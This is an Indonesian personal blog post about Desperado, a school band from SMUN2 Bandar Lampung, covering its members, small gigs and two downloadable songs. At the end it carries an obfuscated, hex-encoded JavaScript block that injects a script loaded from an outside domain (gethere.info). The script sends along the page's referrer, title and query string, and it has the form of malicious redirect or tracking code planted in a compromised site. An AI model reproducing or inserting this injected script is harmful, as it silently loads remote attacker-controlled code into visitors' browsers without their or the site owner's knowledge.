Taukah anda tentang band The Beatles? The Rolling Stones? Ya.. Betul… mereka adalah band legendaris dunia!
Anda tau band bernama Desperado? Mungkin hanya segelintir orang saja yang tau… Desperado adalah sebuah band sekolahan asal bandar lampung. Kelima personil Desperado berasal dari SMUN2 Bandar Lampung angkatan 1999. Formasi Desperado adalah Ijal (vocal), Yoga (guitar), Mahdi (guitar), Ahmad Suhardi (bass), dan Kusno (drum). Awalnya band ini terbentuk karena keinginan kelima pemuda yang ingin bermain musik. Ketika band ini terbentuk rata-rata personilnya tidak bisa bermain alat musik, tetapi dengan semangat mau belajar musik dan visi yang sama akhirnya Desperado sempat mengikuti pagelaran musik serta manggung di beberapa event di lampung. Pernah pada suatu event di salah satu hotel, kita mengisi acara musik dengan dibayar sebuah teh botol. Walaupun begitu, kita sangat senang karena diijinkan untuk bermain musik di tempat itu.
Pada website jatisariku.com dapat kita dengarkan sebuah karya rekaman lagu milik Desperado dengan judul "Dan Bila" dan "CP". Kedua lagu ini tercipta dan terinspirasi dari kisah-kisah ketika kami masih SMA dulu. Lagu "Dan Bila" adalah lagu yang tercipta dari kisah kasih di SMA dulu. Sedangkan Lagu "CP" menceriterakan aksi-aksi para personil kami untuk menggaet perhatian dari kaum hawa. Lagu-lagu ini sempat kami jual dalam kaset-kaset di sekolah. Kemudian lagu "Dan Bila" sempat menduduki 10 besar anak tangga lagu indie lampung. Kami sempat terheran-heran, karena kami berangkat dari keadaan dan skill musik yang tidak mumpuni.
Setelah masuk ke bangku kuliah, semua personil Desperado berpencaran. Salah satu personil bahkan tinggal dan menetap di kota pahlawan Surabaya. Dan personil pemain bass kami sekarang gencar mempromosikan brand JATISARIKU di kancah nasional. Semoga tulisan ini bisa menjadi bukti tertulis dari sejarah Desperado.
Lagu "Dan Bila" dapat di mainkan dan diunduh di sini dan lagu "CP" bisa diunduh di sini.
Semoga bermanfaat.
var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}